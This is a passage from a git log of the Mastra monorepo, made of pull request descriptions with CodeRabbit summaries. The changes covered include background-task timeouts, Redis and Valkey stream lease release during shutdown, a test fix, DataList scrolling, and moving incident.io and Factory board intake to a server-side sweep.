- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** A background task can have a time limit. Before this change, a
limit of `0` stopped the task right away. After this change, `0` means
the task has no time limit, so it runs until it finishes or is
cancelled.

## Summary

This change makes a background task timeout of `0` mean "no timeout."
Other timeout values keep their existing behavior. The `0` rule applies
in four places:
- Tool configuration
- Agent per-tool configuration
- The enqueue payload
- The background task manager's `defaultTimeoutMs`

The change also alters how an `AbortError` from a tool is classified. A
tool that throws its own `AbortError` no longer counts as a timeout. The
task fails with the tool's own error. Retries apply if they are
configured.

The task's own signal aborts for these cases: timer expiry,
cancellation, workflow cancellation, shutdown, and ownership loss.
Executors receive that signal.

## Changes by file

- `packages/core/src/background-tasks/workflow.ts`: Does not create the
timeout timer when `task.timeoutMs` is `0`. For other values, the timer
still aborts the task after the configured duration. Timeout
classification now requires an aborted signal or the matching timeout
message. An `AbortError` name or the `"Task cancelled"` message alone no
longer counts as a timeout.
- `packages/core/src/background-tasks/types.ts`: Documentation comments
state that `0` means no timeout for task payloads, manager defaults, and
per-tool overrides. No runtime types changed.
- `packages/core/src/background-tasks/manager.test.ts`: Adds tests. One
test checks that `timeoutMs: 0` prevents a timeout after fake timers
advance 600 seconds, and that the task completes after its executor is
released. Another test checks that an executor's `AbortError` with
`timeoutMs: 0` results in status `failed` with the original error
message.
- `.changeset/wet-geckos-work.md`: Adds a patch changeset for
`@mastra/core`. It documents the `0` behavior and the `AbortError`
behavior.
- `docs/src/content/en/docs/harness/background-tasks.mdx`: The timeout
resolution order states that `0` means no timeout at the tool,
agent-tool, or manager-default level.
- `docs/src/content/en/reference/configuration.mdx`: The
`backgroundTasks.defaultTimeoutMs` entry states that `0` means no
timeout.
- `docs/src/content/en/reference/core/mastra-class.mdx`: The
`backgroundTasks.defaultTimeoutMs` description states that `0` means no
timeout.

## Public API

No exported declarations changed.

## Diff size

- 7 files changed
- 73 lines added, 11 lines removed

## Test and CI results

Not available. The new tests appear in the diff, but no completed test
or CI run results were supplied.

## Review status

Review finding counts are not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 19:35:43 -08:00
Arthur Fiorette
4f16c08068
fix(redis-streams,valkey-streams): release leases while close() is flushing (#30387)
## Description

On Redis Streams and Valkey Streams, `releaseLease` now keeps working
while `close()` is flushing, until the writer connection is released.
Before, it returned without doing anything as soon as `close()` started.

### What changed

In `@mastra/redis-streams`, `releaseLease` checks the existing
`#writerReleased` flag instead of `#closed`. `close()` sets that flag
right before it disconnects the writer. `@mastra/valkey-streams` had no
such flag, so this adds one, sets it right before the writer's `quit()`
in `close()`, and checks it in `releaseLease`. The other lease methods
are unchanged.

### Why

A worker is shutting down while a step it handles for another process's
run is still executing, and the step takes longer than the drain
timeout. The step finishes while `close()` is flushing, and publishing
its result throws on the closing client. The handler then releases the
step's lease, which did nothing once `close()` had started, and nacks.
The nack still republished through the open writer. Another worker
received the copy, was refused the lease, treated the delivery as a step
a live worker was still running, and acked it. Nothing ran the step
again and the run stayed `running`.

With this change the release and the nack's republish go through the
same open writer, so the worker that gets the copy can take the lease
and run the step.

### Known limits

A release that races the writer's quit now rejects instead of returning.
The nack that follows fails too, so the entry stays pending and is
reclaimed after `reclaimIdleMs` (60 s by default), by which time the 30
s lease has expired.

Other lease releases in core, on durable agent claims and thread
streams, now really release during `close()` and can reject in that same
race. Their callers catch the error or turn it into a retry.

A release that fails for another reason while the republish succeeds
still drops the step.

Google Cloud Pub/Sub has no lease provider and is not affected.

### Tests

`pubsub/redis-streams/src/close-release-lease.test.ts` runs against a
real Redis with two `RedisStreamsPubSub` instances on one key prefix.
A's grouped handler takes a lease, then releases it and nacks while A's
`close()` is still in progress, held open by a fan-out reader. B
receives the second delivery and must be able to take the same lease.
Without the fix, B gets `{ acquired: false, owner: 'a' }`. The test also
checks that `close()` had not resolved when the release ran.

`pubsub/valkey-streams/src/close-drain.test.ts` gets a case with a
mocked client: a release called while `close()` waits on its flush sends
the release script, and one called after the writer quit sends nothing
and doesn't reconnect. Without the fix, the release sent during the
flush is missing.

## Related issue(s)

None

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a worker shuts down, it can now still let go of its task
lock and retry the task. This lets another worker pick up the task
sooner instead of leaving it stuck.

## Summary

This change fixes a shutdown race in the Redis Streams and Valkey
Streams pub/sub adapters. Before this change, `releaseLease` stopped
work as soon as `close()` began. The writer stayed open during the
flush, so a lease release and the republish from a nack could not use
it. A nack could then republish a delivery while the step lease was
still held. Another worker could then drop the step.

### Changes

- **`pubsub/redis-streams/src/index.ts`**: `releaseLease` checks
`#writerReleased` instead of `#closed`. During `close()`, a lease
release can still run until the writer is marked released.
- **`pubsub/valkey-streams/src/index.ts`**: Adds a `#writerReleased`
flag. `releaseLease` stays available after `close()` marks the instance
closed. `close()` sets the flag after it flushes pending publishes and
before it quits the writer.
- **`pubsub/redis-streams/src/close-release-lease.test.ts`** (new, 89
lines): Uses two workers. Worker A releases the lease and nacks the
event during shutdown. The test expects redelivery on attempt 2 and
expects worker B to acquire the lease.
- **`pubsub/valkey-streams/src/close-drain.test.ts`** (46 lines added):
Uses a mocked client. It checks that `release` runs during a close
flush, before `xAdd` and `quit`. It also checks that a release requested
after the writer quits does not run again.
- **Changesets** (`.changeset/eleven-pears-wave.md`,
`.changeset/spicy-canyons-yawn.md`): Patch releases for
`@mastra/valkey-streams` and `@mastra/redis-streams`.

### Behavior notes

- If a release races the writer quit, the release rejects. The following
nack also fails. The entry stays pending for reclaim after
`reclaimIdleMs` (60 seconds by default). The 30-second lease expires
before that.
- Other core lease releases can now run during `close()` and reject in
the same race. Their callers must catch the error or retry.
- Google Cloud Pub/Sub is not changed.
- A release that fails for another reason can still drop the step if the
republish succeeds.

### Public API

No exported declarations change.

### Diff size

6 files changed, 153 lines added, 2 lines removed.

### Test and CI status

The author reports that both test files cover release during a close
flush and behavior after the writer quits. Results for the current head
are not available in the supplied evidence.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 19:34:46 -08:00
Arthur Fiorette
37ddff38e5
test(core): run the claimed owner's runs on the runtime that registers them (#30389)
## Description

Builds the claimed owner in the caller request context tests of
`signals-claimed-ownership.test.ts` on the shared
`agentThreadStreamRuntime`, the runtime `Agent.stream` registers its
runs on. The sender stays on its own `AgentThreadStreamRuntime` and
still plays the other process. Test-only change, four lines.

"runs a plain wake that arrives during owner discovery with its own
caller tenant" fails every time on current `main` (`Timed out waiting
for the second owner run`). It breaks "Unit and E2E Tests / Affected
UNIT Test (3/3)" on every PR that runs core tests.

### Cause

The test built the owner on a separate `AgentThreadStreamRuntime`, while
`Agent.stream` registers runs on the shared one. The owner therefore saw
its own run as remote: it marked the thread busy with that run's id when
it started it, and only learned the run's stream id from
`run-registered` if a lease check still found the run live.

#29148 removed the 1 ms pause after memory saves. The run now releases
its lease before that check resolves, so the stream id is never
recorded. The second wake is queued behind a run the owner has no record
of, `run-completed` can't clear the busy marker because the stream id
doesn't match, and the wake is acknowledged but never started.

#29447 added the test and #29148 removed the pause. Neither PR's CI ran
both.

### Why the fix is in the test

Production uses one runtime per process. `Agent.claimThreadOwnership`
and `Agent.subscribeToThread` go through `agentThreadStreamRuntime`
(`agent/agent.ts`), every `registerRun` call is on it (`agent/agent.ts`,
`agent/durable/durable-agent.ts`), and only that instance is exported
(`agent/durable/index.ts`), not the class. A run the owner starts is
registered in the owner's own state, so a wake queued behind it is
drained by that run's completion watcher. Several tests in this file
already use the shared runtime for the owner. The other tests in this
block that #29447 added get the same one-line change so the block models
the same setup.

### Verification

- The whole file passes 10 out of 10 runs with `npx vitest run --project
unit:packages/core
src/agent/__tests__/signals-claimed-ownership.test.ts`. Before the
change it failed 10 out of 10.
- With the change, removing #29447's request-context argument from the
during-discovery delivery in `thread-stream-runtime.ts` fails only this
test, on `expect(Promise.all([first.accepted,
second.accepted])).resolves` with `tenant missing from request context`.
The test still covers that fix.
- `src/agent/__tests__` passes (200 files), and `tsc --noEmit -p
tsconfig.build.json` and oxfmt are clean.

## Related issue(s)

None.

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [ ] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

The test setup had the wrong runtime for the claimed owner. This change
makes the test owner use the same shared runtime that the agent uses to
run streams. This lets the owner track its own run and handle queued
wakes correctly.

## Summary

The change updates test setup in
`packages/core/src/agent/__tests__/signals-claimed-ownership.test.ts`.
The diff adds 4 lines and removes 4 lines in one file.

Four claimed-owner context tests now use the process-wide
`agentThreadStreamRuntime`. Before the change, each test created a
separate owner runtime. The affected tests cover:

- Caller tenant propagation.
- Transformed tool context.
- Wakes that arrive during owner discovery.
- Owner-versus-caller session identity.

The sender stays on its own `AgentThreadStreamRuntime`. This represents
the other process.

## Rationale

The owner and `Agent.stream` must use the same runtime. With the same
runtime, the owner can track the run that `Agent.stream` registers. The
owner can then drain a wake that is queued behind that run when the run
completes. With separate runtimes, a queued wake could be acknowledged
without starting.

## Verification

The following results are reported by the PR author. They were not
re-run for this summary:

- `signals-claimed-ownership.test.ts` passed 10 of 10 runs after the
change. It failed 10 of 10 runs before the change.
- `src/agent/__tests__` passed (200 files).
- `tsc --noEmit -p tsconfig.build.json` and oxfmt were clean.

No public or exported declarations changed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 23:50:41 -03:00
Justin Levine
3a91e29455
fix(playground-ui): let page scroll continue past a DataList (#30333)
## Description

Scrolling the page with the cursor over a DataList did nothing. The
viewport scrolls on both axes and had `overscroll-none`, so a wheel over
a list with nothing left to scroll never reached the page. Now only the
x axis keeps overscroll off, so a sideways flick still can't trigger
browser back. A list that does overflow scrolls first, then hands off to
the page at its end.

No visual change, so no screenshots. Safari may now rubber-band a list
that overflows, which is what `overscroll-none` was guarding against.

Verified: playground-ui tests (546 files) and typecheck pass. The new
test fails on the old code. Ran real wheel events in Chrome on the admin
portal Connect page, against this build, with short and overflowing
lists, scrolling down and back up.

## Related issue(s)

Fixes PLTFRM-3615

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When your mouse is over a data table, scrolling down past the end
of the table now moves the whole page. Before this change, the page
stopped scrolling there.

## Summary

This change lets page scrolling continue when the cursor is over a
`DataList`. The list scrolls first. When the list reaches its scroll
limit, vertical scroll passes to the page.

## Changes

-
`packages/playground-ui/src/ds/components/DataList/data-list-root.tsx`:
The `ScrollAreaViewport` class changes from `overscroll-none` to
`overscroll-x-none`. Overscroll is now disabled only on the horizontal
axis. Vertical overscroll is no longer disabled by this class.
-
`packages/playground-ui/src/ds/components/DataList/data-list-root.test.tsx`:
Adds a test. The test checks that the viewport class includes
`overscroll-x-none` and does not include `overscroll-none`,
`overscroll-y-none`, or `overscroll-y-contain`.
- `.changeset/warm-garlics-lick.md`: Adds a patch changeset for
`@mastra/playground-ui`.

## Behavior notes

- Horizontal overscroll stays disabled. This prevents a sideways gesture
from triggering browser history navigation.
- The code comment that explained why overscroll was off is removed.
That comment said a vertical bounce would drag the sticky header and
expose the panel behind the content. The diff does not add a replacement
note. The sticky header behavior under vertical bounce is therefore not
documented in the code.
- The PR description says Safari can rubber-band overflowing lists. This
is not verified by the diff.

## Verification

- The diff confirms the class change, the comment removal, and the new
test and changeset.
- The PR description reports that the playground-ui tests and typecheck
pass, and that manual wheel testing in Chrome passed. These results are
author-reported. They were not checked against completed CI runs for
this head.
- No public API declarations changed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 21:21:18 -05:00
Damien Schneider
f65bc1b833
fix(factory): skip incident.io follow-ups the sweep already handled (#30378)
**TLDR**
> The incident.io sweep stops re-running rules for follow-ups nothing
changed on, and one bad follow-up no longer blocks the rest of its page.

## Behavior changed

**incident.io sweep, every 5 min**
was
&nbsp;&nbsp;└─ every follow-up on every page → rules run → ledger says
"already done" → thrown away
now
&nbsp;&nbsp;└─ one ledger read per page → only new or changed follow-ups
reach the rules

**One follow-up fails mid-page**
was
&nbsp;&nbsp;└─ the rest of the page never got looked at
now
&nbsp;&nbsp;└─ the rest are filed, then the failure is reported to the
sweep summary as before

## Decisions

- Skip check reads the existing `factory_rule_ingress` ledger by its
unique index — no schema change, survives restarts — drop the read to
undo.
- The ledger id is unchanged (`incidentio:<id>:<updatedAt>`), so an
edited follow-up still goes through rules.
- GitLab keeps its in-memory memo: its unchanged heads are skipped as
ignored and never reach the ledger, so the ledger check would not save
its member lookups.
- Title refresh left out: the shared refresh writes metadata only for
every provider, and changing that could overwrite titles edited on a
card.

## Not verified

- [ ] Real incident.io API; covered by real storage on LibSQL and
Postgres.

## Diff

> source &nbsp;&nbsp;██░░░ +35 −2
> tests &nbsp;&nbsp;&nbsp;&nbsp;██░░░ +32
> changeset █░░░░ +5

Stacked on #30377.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The incident.io sweep now skips follow-ups it already handled.
One bad follow-up no longer stops the other follow-ups on the same page
from getting cards.

## Summary

This change updates the incident.io sweep in `@mastra/factory`. It
changes how the sweep handles repeated runs and failures.

## Changes

- **Skip recorded follow-ups:** `IncidentioRules.ingest` checks the
ledger before it processes each follow-up.
- It builds the ingress ID with `ingressIdFor`, which returns
`incidentio:<id>:<updatedAt>`.
  - It calls `listRecordedIngress` once per page with all ingress IDs.
- If an ID is already recorded, the sweep adds `replayed` to the
statuses and skips the rule evaluation for that follow-up.
- **Changed follow-ups still run:** A changed `updatedAt` produces a new
ingress ID. That follow-up is not recorded, so it reaches the rules.
- **Continue after failure:** The loop wraps each `#ingestIssue` call in
`try/catch` and collects errors.
  - One failure: the sweep rethrows that error after the loop.
  - Several failures: the sweep throws an `AggregateError`.
  - The rest of the page is processed before the error is thrown.
- **Status aggregation:** The final result logic is unchanged. It still
returns `committed`, `replayed`, or `missing` from the collected
statuses.
- **New storage method:** `WorkItemsStorage.listRecordedIngress(orgId,
factoryProjectId, identities)` in
`mastracode/factory/src/storage/domains/work-items/base.ts`.
  - It returns an empty set without a query when the list is empty.
- It removes duplicate identities before it queries
`factory_rule_ingress`.
  - It returns the `identity` values that match.
- **Changeset:** Adds a patch changeset for `@mastra/factory`.
- **Tests:** `rules.test.ts` gains 32 lines. The tests cover replay
without rule evaluation, one evaluation after an `updatedAt` change, and
filing the next follow-up after the first commit rejects. The test
contents were not inspected in this review.

## Files

- 4 files changed
- 72 lines added, 2 lines removed

## Not verified

- The real incident.io API was not tested. The PR author reports
coverage on LibSQL and Postgres storage.
- The unique index on `factory_rule_ingress` was not checked in the
diff.
- No CI or test results are available for this review.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
2026-11-13 17:42:10 -08:00
Damien Schneider
8bb6aa8e9d
fix(factory): show an error in Intake when the source bindings fail to load (#30377)
**TLDR**
> When the board can't load which sources are bound to this factory,
Intake now says so with a Retry button instead of claiming it is clear.

## Behavior changed

**Intake column, bindings read fails**
was
&nbsp;&nbsp;└─ every source counted as bound → "Intake is clear", no
sign anything failed
now
&nbsp;&nbsp;└─ error message + Retry in Intake → Retry reloads the
bindings and the notice goes away

The failed intake routes read (other boards) already showed this notice;
both failures now share it.

## Decisions

- One `failure` from the hook for bindings or routes — same notice, same
Retry — split if they ever need different copy.

## Not verified

- [ ] Not clicked in a real browser; covered by MSW against the real
client and React Query.

## Diff

> source &nbsp;&nbsp;█░░░░ +12 −7
> tests &nbsp;&nbsp;&nbsp;&nbsp;██░░░ +20
> changeset █░░░░ +5


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When the board cannot load the list of files that feed Intake,
Intake used to say it was clear. Now it shows an error and a Retry
button. Retry loads the list again.

## Summary

This change updates the board's Intake column. When intake source
bindings fail to load, the column shows an error with a Retry button.
Before this change, it reported that Intake was clear, even though the
board could not tell which files were bound.

## Changes

-
`mastracode/factory-ui/src/ui/domains/factory/hooks/useBoardIntakeSetup.ts`:
The hook returns `failure` instead of `routesFailure`. `failure` holds
the message and retry callback for the failed read.
- If provider-eligible bindings fail, `failure` reports the bindings
error. Retry refetches the bindings.
- Otherwise, if intake routes are read and fail, `failure` reports the
routes error. Retry refetches the routes.
  - The `isPending` calculation is unchanged.
- `mastracode/factory-ui/src/ui/pages/board/BoardContent.tsx`: The
initial phase passes `intake.failure` to the intake failure prop. Other
phases still pass `undefined`.
- `.changeset/quiet-intake-bindings-fail.md`: Adds a patch changeset for
`mastra`.
-
`mastracode/factory-ui/src/ui/domains/factory/hooks/__tests__/useBoardIntakeSetup.msw.test.tsx`:
Adds a test. A failed bindings request exposes a failure with a retry
action. A successful retry clears the failure.

## Scope

- 4 files changed, 37 lines added, 7 removed.
- The diff shows no change to exported type declarations beyond the
renamed return property, `routesFailure` to `failure`.
- Test results were not run in this review. The PR author reports MSW
tests against the real client and React Query. The author did not test
in a real browser.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
2026-11-13 17:42:10 -08:00
Damien Schneider
049b31dd2c
perf(factory): show only cards on the board and in search (#30266)
**─────── TLDR ───────**
> The Factory board and ⌘K search show only cards, and never ask GitHub,
GitLab, Linear, Jira or incident.io for their issue or pull request
lists.

Fourth of four, stacked on #30271: GitLab (#30265), Jira (#30270),
incident.io (#30271), then this.

Every open board asked each connected provider for its open issues every
30 s, per tab, only to show the ones with no card yet ("New candidates",
"Load more candidates"). The server now files every new issue as a card
itself, GitHub and GitLab from events, Linear, Jira and incident.io from
the 5-minute sweep, and pushes it over the board stream. So the board
reads cards and nothing else.

### Behavior changed

an open issue or pull request with no card
&nbsp;&nbsp;├─ **was** — greyed in Intake, or in Triage if labelled
`status: auto-triaged`
&nbsp;&nbsp;└─ **now** — not on the board or in ⌘K until the server
files it

a board left open
&nbsp;&nbsp;├─ **was** — one list call per connected provider, per tab,
every 30 s
&nbsp;&nbsp;└─ **now** — no provider list call; new cards arrive over
the stream

scrolling to the end of a long phase
&nbsp;&nbsp;├─ **was** — one more page, then stuck on "Load more" while
still in view
&nbsp;&nbsp;└─ **now** — keeps loading while the end is in view, stops
once all listed

⌘K search
&nbsp;&nbsp;├─ **was** — cards plus live provider issues marked "not
filed"
&nbsp;&nbsp;└─ **now** — cards only

a board whose intake routes fail to load
&nbsp;&nbsp;└─ **unchanged** — an error with Retry, now shown in its
Intake column

### Decisions

- **the board shows only cards** — agreed with Ward: routes decide where
every issue goes, the server is the only filer; reverting this PR brings
the lists back
- **no filing by hand of an issue the server never filed** — deployments
with a `manual_intake` route lose it; an on-demand lookup by URL is a
separate PR if needed
- **auto-triaged issues with no card leave Triage** — that column was a
label view; an intake route on the label files them into Triage as cards

### Shape changed

| | | |
|---|---|---|
| **−** | `useBoardIntake` `useGlobalSearchIntake` | built the no-card
lists |
| **−** | the seven provider list hooks and their services | only those
lists called them |
| **−** | `Candidate*` `BoardStageCandidates` `IntakeColumnExtras`
`IntakeFeedNotice` | nothing left to render |
| **−** | `INTAKE_POLL_MS` `INTAKE_ERROR_POLL_MS` | no timer left |
| **+** | `useBoardIntakeSetup` | the part still needed: does this board
get cards, did its routes load |
| **~** | `LoadMoreSentinel` | takes `loaded`, asks again after each
page while in view |

kept, because card details and Settings still read them
&nbsp;&nbsp;&nbsp;&nbsp;single-item detail reads per provider · the five
status queries

### Watch

> [!WARNING]
> Merge this <mark>after #30270 and #30271</mark>. Until the server
files Jira and incident.io issues itself, nothing puts them on the
board.

on deploy: open issues with no card disappear from Intake and Triage.
Issues older than the repository link (GitHub, GitLab) or outside the
sweep's window (Linear, Jira) get a card when they next change at the
provider.

### Not verified

- [ ] any real provider — every request in the tests is answered by MSW;
a local run checked the network tab only
- [ ] a server sweep that keeps failing (expired Linear sign-in, revoked
Jira token) — nothing on the board says so; the error is only in the
server log

---

> ██████████████████ **tests** `+500 −3517` — mostly tests of the
removed no-card lists
> ███████████ **source** `+215 −2256` — net −2041
> █ **changeset and README** `+7 −2`



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The Factory board and search now show only saved cards. They
no longer ask each connected service for its full list of issues and
pull requests. The server adds new items to the board as cards, so the
screen loads less data and does not repeat the same requests.

## Summary

### Behavior change

- The Factory board and ⌘K search read only cards from Factory.
- Boards and search no longer request provider issue or pull-request
lists from GitHub, GitLab, Linear, Jira, or incident.io.
- New issues and pull requests reach the board as server-filed cards.
The server files them through the board stream.
- Items without a card do not appear in Intake, Triage, or search until
the server files them.

### Removed code

- Provider list clients and types: `listRepositoryIssues`,
`listRepositoryPullRequests`, `listGitLabIssues`,
`listGitLabMergeRequests`, `listLinearIssues`, `listJiraIssues`, and
`listIncidentioIssues`, with their page types.
- Provider list hooks: `useProjectIssuesQuery`,
`useProjectPullRequestsQuery`, `useGitLabIssuesQuery`,
`useGitLabMergeRequestsQuery`, `useLinearIssuesQuery`,
`useJiraIssuesQuery`, and `useIncidentioIssuesQuery`. The polling
constants `INTAKE_POLL_MS` and `INTAKE_ERROR_POLL_MS` were also removed.
- Candidate model and UI: `boardCandidates.ts`, `useBoardIntake`,
`useGlobalSearchIntake`, `CandidateCard`, `CandidateCardRows`,
`CandidateListRow`, `CandidateDetailsPanel`, `BoardStageCandidates`,
`IntakeColumnExtras`, and `IntakeFeedNotice`.
- Query keys and filed-from lookups: the list-related `queryKeys`
builders and `workItemsFiledFrom` / `workItemsFiledFromAny`, along with
`filedFromQueryOptions`.
- Candidate drag payloads: `boardDrag.ts` accepts only `work-item`
payloads.

### Added code

- `useBoardIntakeSetup` (`useBoardIntakeSetup.ts`). It reports:
  - whether a board receives newly filed cards;
  - whether a non-default board has no intake route;
  - whether route loading failed.
- The hook exposes a failed route query's error message and a retry
callback. It reports pending while status, binding, or route queries are
unresolved.
- `getJiraIssue` in `jira.ts`, which fetches one Jira issue detail.

### Modified behavior

- `LoadMoreSentinel` takes a new required `loaded` row count. It calls
`onLoadMore` only when a next page exists and no fetch is running. It
retries when it stays in view and `loaded` changes. It stops when a page
adds no rows or fails.
- `BoardStageCards` takes an optional `intakeFailure` (`{ message, retry
}`) instead of feed props. It shows an alert with a Retry button.
- `BoardContent` uses `useBoardIntakeSetup`. Displayed cards and counts
come from server work-item phases. Same-stage drops are ignored.
- `useBoardItems.handleDrop` accepts only existing work-item payloads.
- `boardLoadingStages` no longer accepts `triagePending`.
- `boardParticipants` no longer accepts `candidates`.
- `BoardColumnEmptyState` no longer accepts `alreadyMaterialized`.
- Global search:
- `useGlobalSearchWorkItems(factoryId, typed)` reads session cards and
unstarted cards directly from the server. It uses a 150 ms debounce on
the trimmed input.
  - `WorkItemSearchResult` holds `item: WorkItem`.
  - `GlobalSearchWorkItemsStatus` takes one `failed` flag.
- `useIntakeConfig` no longer invalidates provider issue-feed queries
after intake or binding mutations.

### Tests and documentation

- Deleted test files include `useFactoryData.msw.test.tsx`,
`useBoardIntake.msw.test.tsx`, `boardCandidates.test.ts`,
`boardLabels.test.ts`, `BoardPageIntakePaging.msw.test.tsx`, and
`BoardPageIntakeFeedFailure.msw.test.tsx`.
- New tests:
- `BoardPageCardsOnly.msw.test.tsx` checks that unfiled provider items
are not shown and that provider lists are not requested.
- `useBoardIntakeSetup.msw.test.tsx` checks source bindings and pending
state.
- `BoardPagePagedReads.msw.test.tsx` adds phase-end paging and
retry-on-failure cases.
- The Changeset (`.changeset/linear-intake-reads-once.md`) is a `mastra`
patch note for this behavior change.
- `mastracode/factory/README.md` now says bound sources feed
server-filed cards. It removes the documented 30-second browser refresh
for Jira issue lists.

### Operational risks (from the PR description)

- Deployments with `manual_intake` or
`MASTRACODE_*_RECONCILE_ENABLED=false` may lose issues from the board.
- Older issues, and issues outside a sweep window, may not get cards
until they change at the provider.
- A persistently failing server sweep logs errors only on the server.
The author did not test this case.
- The PR description says to merge this after `#30270` and `#30271`, and
before the server files Jira and incident.io issues itself.

### Verification

- The author did not test against a real provider. Tests used MSW stubs.
A local run checked only the network tab.
- CI and build results: not available.
- Review finding counts: not available.

### Diff size

- 70 files changed, +722 / −5775 lines.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-13 17:01:22 -08:00
Damien Schneider
8c319a86a0
fix(factory): make the incident.io follow-up list a pure read (#30271)
**─────── TLDR ───────**
> Opening a Factory board no longer creates incident.io cards while the
page loads. The server sweep files new follow-ups instead, every 5
minutes, with or without a board open.

Stacked on #30270. Third of four: GitLab, Jira, incident.io, then the
browser stops polling.

incident.io sends Factory no events. A new follow-up became a card only
because a browser asked for the list and the server filed while
answering, on every 30 s poll of every open tab. No table, column or
index changes.

### Behavior changed

a board asks for the incident.io list (direct and Platform)
&nbsp;&nbsp;├─ **was** — read the list, then ran the rules and a write
for each listed follow-up
&nbsp;&nbsp;└─ **now** — reads the list

a new follow-up in a source bound to a Factory project
&nbsp;&nbsp;├─ **was** — got its card when a browser next listed it,
never with no board open
&nbsp;&nbsp;└─ **now** — gets its card from the sweep within its
interval, 5 minutes by default

`MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED=false`
&nbsp;&nbsp;├─ **was** — stopped the refresh of imported incidents and
follow-ups
&nbsp;&nbsp;└─ **now** — removed; the sweep always runs. Settings › Work
Intake still turns incident.io off per org, and the sweep honours it

incidents
&nbsp;&nbsp;└─ **unchanged** — a board never showed them as items, and
the sweep does not list them

### Decisions

- **the sweep lists follow-ups only** — a board's first page is the
incidents source, which holds nothing a board shows
- **every page of each bound follow-up source, each sweep** —
incident.io lists follow-ups oldest first and cannot sort or filter them
by status, so a page cap would never reach new ones. No stored cursor,
so a restart or a second replica skips nothing. Cost: one call per 100
follow-ups, about 100 calls every 5 minutes for an org with 10,000, well
under incident.io's rate limit
- **the sweep files what the org's connection can see** — it lists with
the deployment's or the org's stored connection, not the viewer's, and
files every bound follow-up it reaches; before, only issues someone's
open board listed got a card
- **no env switch to turn the sweep off** — incident.io sends no events,
so the sweep is the only way a follow-up gets a card; with this the
boolean env parser has no caller and goes too
- **the shared intake sweep from #30270** — incident.io supplies how it
lists and how it files, the loop, the page cap and the per-project
failure handling are shared
- **each integration says which of its sources hold follow-ups** — a
Platform source id carries its connection, so comparing the bare id
dropped every Platform source

### Watch

- a deployment that set `MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED=false`
now gets the sweep
- a new follow-up now takes up to 5 minutes to show, where an open board
showed it within 30 s

### Not verified

- [ ] a real incident.io account or the real Platform API — the tests
answer incident.io at the HTTP edge
- [ ] how long a sweep takes on an account with tens of thousands of
follow-ups

---

> ██████████████████ **tests** `+172 −40`
> █████████ **source** `+86 −69`
> █ **changeset and README** `+6 −1`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Before, the incident.io board made new work cards while it
loaded. Now the board only reads the list, and a background job makes
the cards every five minutes. New cards can take up to five minutes to
appear, and the old setting that could turn this job off no longer
exists.

## Overview

This change moves incident.io follow-up card creation out of list
requests. Card creation now runs in the shared five-minute intake sweep.

- Direct and Platform list requests only read follow-ups. They do not
run rules or create cards.
- The sweep lists follow-ups from sources bound to Factory projects,
then applies the rules.
- The sweep reads every page from each bound follow-up source. It does
not apply a page cap.
- The sweep creates cards only for follow-ups. Incidents do not create
cards.
- The sweep always runs. `MASTRACODE_INCIDENT_IO_RECONCILE_ENABLED` is
removed. Setting it to `false` has no effect.
- The sweep still honors the organization-level incident.io setting in
Settings › Work Intake.
- The change does not add or change database tables, columns, or
indexes.

## Changes by area

